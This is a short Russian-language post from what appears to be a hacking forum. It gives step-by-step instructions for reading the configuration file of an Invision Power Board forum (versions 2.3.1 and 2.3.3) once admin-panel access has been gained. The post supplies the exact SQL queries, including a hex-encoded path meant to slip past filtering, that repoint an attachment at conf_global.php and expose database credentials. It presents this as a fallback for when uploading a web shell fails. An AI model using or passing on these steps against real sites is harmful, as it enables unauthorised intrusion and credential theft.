27.10.2008, 17:52
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Чтение файлов при помощи админки
Автор: Dr.Frank
Чтение файлов при помощи админки(если шелл залить не получилось).
Тестил на версиях 2.3.1 2.3.3
В "управление SQL"->"инструменты"->"выполнить SQL запрос" вводим:
select * from ibf_attachments where attach_is_image=0
Берем номер любого файла( attach_id).
Выполняем следующий запрос:
update ibf_attachments set attach_location='../conf_global.php', attach_ext='php' where attach_id=attach_id
или такой(форум иногда точки заменяет спец.символами):
update ibf_attachments set attach_location = 0x2e2e2f636f6e665f676c6f62616c2e706870, attach_ext='php' where attach_id=attach_id
и по адресу
http://forum/index.php?act=attach&type=post&id=attach_id
должен появиться файл с настройками conf_global.php
PS Материал востановлен
Дата публикации: 16.09.2008, 15:32
Автор Dr.Frank
|
|
|